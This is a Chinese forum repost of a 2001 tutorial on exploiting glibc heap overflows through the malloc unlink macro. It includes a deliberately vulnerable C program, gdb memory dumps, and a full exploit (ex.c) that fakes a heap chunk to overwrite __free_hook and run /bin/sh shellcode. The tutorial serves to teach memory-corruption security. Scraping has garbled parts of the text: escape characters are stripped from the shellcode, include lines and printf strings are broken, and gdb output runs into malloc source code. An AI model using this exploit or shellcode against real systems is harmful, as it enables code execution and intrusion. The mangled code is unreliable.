免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1236 | 回复: 0
打印 上一主题 下一主题

一种新的Heap区溢出技术分析 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2005-12-28 11:18 |只看该作者 |倒序浏览

★ 前言
通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来
完成攻击。这方面内容请参看我原来翻译整理的:

http://magazine.nsfocus.com/detail.asp?id=353
如果系统中没有这些条件,尽管能够发生溢出,攻击者仍然很难执行自己的代码。
这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap
攻击的可能性大大增加了。
注:下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21)
★ 目录
1. 简单介绍
2. 一个简单的例子
3. Malloc/calloc/realloc/free的基本概念
4. 两种可能的攻击方法
5. 针对弱点程序的两个演示程序
6. 实例: Traceroute "-g"问题
★ 正文
1. 简单介绍
使用malloc()或者calloc()可以动态分配一段内存,并向用户返回一个内存地
址,而实际上这个地址前面通常有8个字节的内部结构,用来记录分配的块长度
以及一些标志。如果这些结构的内容被覆盖,在某些malloc实现下,可能导致
攻击者将任意数据写到一个任意内存地址中去,从而可能改变程序执行流向,
以至执行任意代码。
2. 一个简单的例子
下面我们来看一个简单的例子,这是一个非常典型的Heap溢出问题程序。它分
配两块内存,然后向其中的一块拷贝了一些数据,由于没有检查数据长度,发
生溢出。
/* A simple vulnerable program for malloc/free test - vul.c
* by warning3@nsfocus.com

http://www.nsfocus.com
)
* 2001/03/05
*/
#include
int
main (int argc, char *argv[])
{
char *buf, *buf1;
buf = malloc (16); /* 分配两块16字节内存 */
buf1 = malloc (16);
if (argc > 1)
memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
printf ("%#p [ buf ] (%.2d) : %s
", buf, strlen (buf), buf);
printf ("%#p [ buf1 ] (%.2d) : %s
", buf1, strlen (buf1), buf1);
printf ("From buf to buf1 : %d
", buf1 - buf);
printf ("Before free buf
");
free (buf); /* 释放buf */
printf ("Before free buf1
");
free (buf1); /* 释放buf1 */
return 0;
} /* End of main */
现在让我们来看看结果:
[warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'`
0x8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA realloc/free的基本概念。
3. Malloc/calloc/realloc/free的基本概念
malloc/calloc/realloc/free这几个函数,是用来分配或释放动态内存的。
目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成
的。我们下面所讲的,都是指这一版本的实现。
从Linux的Man手册MALLOC(3)中看到这些函数原型如下:
void *calloc(size_t nmemb, size_t size);
void *malloc(size_t size);
void free(void *ptr);
void *realloc(void *ptr, size_t size);
calloc()用来分配nmemb个size大小的内存块,并返回一个可用内存地址。
它会自动将得到的内存块全部清零。
Malloc()用来分配size大小的内存块,并返回一个可用内存地址。
Free()释放ptr所指向的内存。
Realloc()用来将ptr指向的一块内存的大小改变为size.
我们需要注意的是free()和realloc()函数。它们都是比较危险的函数,如果
所提供的地址指针ptr所指向的内存是已经释放的,或者不是由malloc类函数
分配的话,就可能发生不可预料的情况。我们要利用的,也就是这些"不可预
料"的情况。
由于calloc()和malloc()差别不大,实际上都是调用的chunk_alloc()函数来
进行分配的,区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配
的内存块清零。因此后面除非特别指出,我们就只以malloc()为例.
Malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。
Struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
prev_size是上一个块的大小,只在上一个块空闲的情况下才被填充
size是当前块的大小,它包括prev_size和size成员的大小(8字节)
fd是双向链表的向前指针,指向下一个块。这个成员只在空闲块中使用
bk是双向链表的向后指针,指向上一个块。这个成员只在空闲块中使用
对于已分配的内存,除了分配用户指定大小的内存空间外,还在前面增加了
malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示:
0 16 32
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 上一个块的字节数(如果上一个块空闲的话) | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的字节数 (size) |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 用户数据开始… .
. .
. (用户可以用空间大小) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
这里chunk指针是malloc()在内部使用的,而返回给用户的是mem指针(chunk +
8),实际上向用户隐藏了一个内部结构。也就是说,如果用户要求分配size字节
内存,实际上至少分配size+8字节,只是用户可用的就是size字节(这里先不考
虑对齐问题)。Nextchunk指向下一个内存块。
对于空闲(或者说已经释放的)块,是存放在一个双向循环链表(参见上面的
malloc_chunk结构)中的。
在内存中的分布基本如下图所示:
0 16 32
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 上一个块的字节数(prev_size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | 当前块的字节数 (size) |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 前指针(指向链表中的下一个块) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 后指针(指向链表中的上一个块) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 未被双向链表使用的空间(也可能是0字节长) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | 上一个块的字节数 (等于chunk->size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
大家可能主要到两个表中都有一个"P"标志,它是"当前块字节数"(chunk->size)
中的最低一位,表示是否上一块正在被使用。如果P位置一,则表示上一块正在被
使用,这时chunk->prev_size通常为零;如果P位清零,则表示上一块是空闲块,
这是chunk->prev_size就会填充上一块的长度。
"M"位是表示此内存块是不是由mmap()分配的,如果置一,则是由mmap()分配的,
那么在释放时会由munmap_chunk()去释放;否则,释放时由chunk_free()完成。
这两位标志相关定义为:
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
由于malloc实现中是8字节对齐的,size的低3位总是不会被使用的,所以在实际
计算chunk大小时,要去掉标志位。例如:
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
一次malloc最小分配的长度至少为16字节,例如malloc(0).(上面说的长度是指
chunk的长度)
了解了上面这些基本概念,我们再来看看free(mem)时做了些什么:
首先将mem转换为chunk(mem-8),并调用chunk_free()来释放chunk所指的内存块。
然后程序会检查其相邻(包括前后)的内存块是不是空闲的:
如果是空闲块的话,就将该相邻块从链表中摘除(unlink),然后将这些相邻的空
闲块合并;
如果不是空闲块的话,就只是设置后一个相邻块的prev_size和size(清
PREV_INUSE标志)。
最后将得到的空闲块加入到双向链表中去。
在进行unlink操作时,实际上就是执行了一个链表结点的删除工作。
比如,如果要从链表中删除chunk结点,所要做得就是:
chunk0->fd fd
chunk1->bk bk
如下所示:
chunk0 chunk chunk1
+----------------------+..+----------------------+..+----------------------+
|prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk|
+----------------^-----+..+----------------+---+-+..+--------------------^-+
|_________________________| |_________________________|
malloc实现中是使用了一个unlink宏来完成这个操作的,定义如下:
/* take a chunk off a list */
#define unlink(P, BK, FD)
{
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}
发现了吗?这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk
的话,那么chunk->fd就会写到(chunk->bk + 8)这个地址,而chunk->bk就会被
写到(chunk->fd + 12)这个地址!换句话说,我们可以将任意4个字节写到任意
一个内存地址中去!!我们就可能改变程序的流程,比如覆盖函数返回地址、
覆盖PLT表项、.dtor结构等等,这不正是我们所要的吗?
Free()和realloc()中都有unlink操作,因此我们要做的就是要想办法用合适的
值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。
下面让我们再回到开头的那个问题程序,看一下如何攻击它。
4. 两种可能的攻击方法
先来看看弱点程序是怎么出错的:
[warning3@redhat-6 malloc]$ gdb ./vul -q
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r `perl -e 'print "A"x21'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'`
Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
10 buf = malloc (16); /* 分配两块16字节内存 */
(gdb) n
11 buf1 = malloc (16);
(gdb) p/x buf
$1 = 0x8049768
(gdb) x/20x buf-8
0x8049760: p: 0x00000000 0x00000019 buf:0x00000000 0x00000000
0x8049770: 0x00000000 0x00000000 *0x00000000 #0x00000889
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000000 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
[ p表示内存块内部指针 ]
[ 注意上面加*号的地方,这里开始的结点是链表中的top结点, #号处是它的长度 ]
(gdb) p/x *(buf-4)  1)
(gdb) p/x buf1  1)
(gdb) n
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) n
16 printf ("%#p [ buf ] (%.2d) : %s
", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760: p:0x00000000 0x00000019 buf:0x41414141 0x41414141
0x8049770: 0x41414141 0x41414141 p1: 0x41414141 0x00000019
0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
[ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ]
[ 紧接着的那个字节0x19是p1块的长度,所以下面再计算strlen(buf)时得到的长度为 ]
[ 21.现在你应该明白开头那个问题的答案了吧 ]
(gdb) c
Continuing.
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24
Before free buf
Before free buf1
由于上面的情况下,p1的size部分没有被覆盖,因此系统认为buf前后的块都不
是空闲的,因此就不会有unlink操作,也就不会有段错误发生了。如果我们再增
加几个字节,就没有那么"幸运"了.
(gdb) b 14
Breakpoint 1 at 0x80484ca: file vul.c, line 14.
(gdb) r `perl -e 'print "A"x24'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'`
Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) x/20x buf-8
0x8049760: 0x00000000 0x00000019 0x00000000 0x00000000
0x8049770: 0x00000000 0x00000000 0x00000000 0x00000019
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) n
16 printf ("%#p [ buf ] (%.2d) : %s
", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760: 0x00000000 0x00000019 0x41414141 0x41414141
0x8049770: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) b 21 SIGSEGV, Segmentation fault.
0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100
3100 malloc.c: No such file or directory.
(gdb) x/I $pc
0x400740c4 : testb $0x1,0x4(%ecx,%esi,1)
(gdb) I r $ecx
ecx 0x41414140 1094795584 size; /* hd是当前块地址 */
INTERNAL_SIZE_T sz; /* 当前块大小 */
INTERNAL_SIZE_T nextsz; /* 下一个块大小 */
INTERNAL_SIZE_T prevsz; /* 上一个块大小 */

check_inuse_chunk(ar_ptr, p);
sz = hd & ~PREV_INUSE; /* 取得当前块的真实大小 */
next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */
nextsz = chunksize(next); /* 得到下一个块的真实大小
* #define chunksize(p) ((p)->size & ~(SIZE_BITS))
*/
if (next == top(ar_ptr)) /* 如果下一个块是头结点,则与之合并 */
{
sz += nextsz;
(b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -prevsz);
sz += prevsz;
unlink(p, bck, fwd); /* 从链表中删除上一个结点 */
}
set_head(p, sz | PREV_INUSE);
top(ar_ptr) = p;
…..
}
/* 如果下一个块不是头结点 */
(b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -prevsz);
sz += prevsz;
if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
islr = 1;
else
unlink(p, bck, fwd); /* 从链表中删除上一个结点 */
}
/* 根据我的判断,刚才的程序,是在进行这个检查时发生段错误的 */
?if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的,则与之合并*/
{
sz += nextsz;
if (!islr && next->fd == last_remainder(ar_ptr))
/* re-insert last_remainder */
{
islr = 1;
link_last_remainder(ar_ptr, p);
}
else
unlink(next, bck, fwd);/* 从链表中删除下一个结点 */
next = chunk_at_offset(p, sz);
}
else
set_head(next, nextsz); /* 如果前后两个块都不是空闲的,则将下一个块的size
中的PREV_INUSE位清零 */
set_head(p, sz | PREV_INUSE);
next->prev_size = sz; /* 将下一个块的prev_size部分填成当前块的大小 */
if (!islr)
frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */
…..
}
我们看到这里面有3个地方调用了unlink.如果想要执行它们,需要满足下列条件:
1. (a) 当前块的IS_MMAPPED位必须被清零,否则不会执行chunk_free()
2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零)
或者
? 下一个块是个空闲块(下下一个块(p->next->next)size的PREV_INUSE位清零)
我们的弱点程序发生溢出时,可以覆盖下一个块的内部结构,但是并不能修改当前
块的内部结构,因此条件(b)是满足不了的。我们只能寄希望于条件?.
所谓下下一个块的地址其实是由下一个块的数据来推算出来的,因此,既然我们
可以完全控制下一个块的数据,就可以让下下一个块的size的PREV_INUSE位为零。
这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2,下
下一个块为块3,如下图所示:
块1 块2 伪造的块3
+----------------------+------------------------+..+-------------------------+
|prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|任意数据|
+----------------------+------------------------+..+-------------------------+
| | |
|--> p |-->next |-->next2next
next = p + (size & ~PREV_INUSE)
next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))
因此,只要我们能够通过修改size2,使得next2next指向一个我们控制的地址。
我们在这个地址伪造一个块3,使得此块的size3的PREV_INUSE位置零即可!
然后,在fd2处填入要覆盖的地址,例如函数返回地址等等。Solar Designer建议
可以使用__free_hook()的地址,这样再下一次调用free()时就会执行我们的代码。
在bk2处可以填入shellcode的地址。
实际构造的时候块2的结构如下:
prev_size2 = 0x11223344 /* 可以使用任意值 */
size2 = (next2next - next) /* 这个数值必须是4的倍数 */
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode /* 这将导致fd2被写到shellcode + 8这个地址,所以需要
在shellcode前面放一段跳转语句以跳过fd2 */
伪造的块3则要求很低,只需要让size3的最后一位为0即可:
prev_size3 = 0x11223344 /* 可以使用任意值 */
size3 = 0xffffffff & ~PREV_INUSE /* 这里的0xffffffff可以用任意非零值替换 */
这个伪造的块可以放在任意可能的位置,例如块2的前面或者后面。如果要放在
块2的后面,由于size2是4个字节,因此如果距离比较小的话,那么size2是肯定
要包含零字节的,这会中断数据拷贝,因此距离必须足够远,以至于四个字节均
不为零,堆栈段是一个不错的选择,通过设置环境变量等方法我们也可以准确的
得到块3的地址。
如果我们要将块3放到块2的前面,那么size2就是个负值,通常是0xffffffxx等
等。这肯定满足size2不为零的要求,另外,这个距离我们也可以很精确的指定。
因此我们决定采用这种方法。
块1 ( 块3 ) 块2
+---------------------------------------+------------------------+
|prev_size|size|…….|0x11223344|size3|prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
| ||
| |
||
在上面的图上,我们将块3的8字节的内部结构放在了块1的用户数据区中,而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段,而块2的prev_size我们也不关心,我们还可以有更简化的
版本:将块3往右移动4个字节,即让siez3与prev_size2重合!
| 块1 |…. 块3 ..| 块2 |
+---------------------------------------+------------------------+
|prev_size|size|………..| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
| || (size3)
| |
||
这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下:
prev_size2 = 0x11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */
size2 = 0xfffffffc /* 长度为-4 */
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode
至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
我们的工作就大大简化了,只需要构造一个块2就可以了!
现在我们看看我们要做的事情:
I. 使用32字节数据模板,前16字节是任意非零数值,而后16字节是我们伪造的
块2
ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
$ [warning3@redhat-6 malloc]$ gdb ./vul -e
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r
Starting program: /home/warning3/malloc/./vul
Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
10 buf = malloc (16); /* 分配两块16字节内存 */
(gdb) p/x &__free_hook
$2 = 0x401091b8
iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码,以便
跳过一个malloc_chunk结构,因为(__free_hook-12)这个值会被写到
shellcode+8处.
+--------+---------------------+---------------+
|jmp 0x0a|nopnop…nopnopnopnop|正常的shellcode|
+--------+---------------------+---------------+
||
5. 一个演示程序
下面我们就可以来写溢出程序了,其实是相当简单的:
/* Exploit for free() with unlinking next chunk - ex.c
* by warning3@nsfocus.com

http://www.nsfocus.com
)
* 2001/03/06
*/
#include
#include
#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
char shellcode[] =
"xebx0ax90x90x90x90x90x90x90x90x90x90" /*这一段是为了跳过垃圾数据*/
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
/* 设置长度为-4,这个值应当是4的倍数 */
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12 ;
*ptr++ = codeaddr;
bzero(buf, 128);
memset (buf, 'A', 16); /* 填充无用数据 */
memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
execle (VULPROG, VULPROG, buf, NULL, env);
} /* End of main */
运行一下看看:
[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP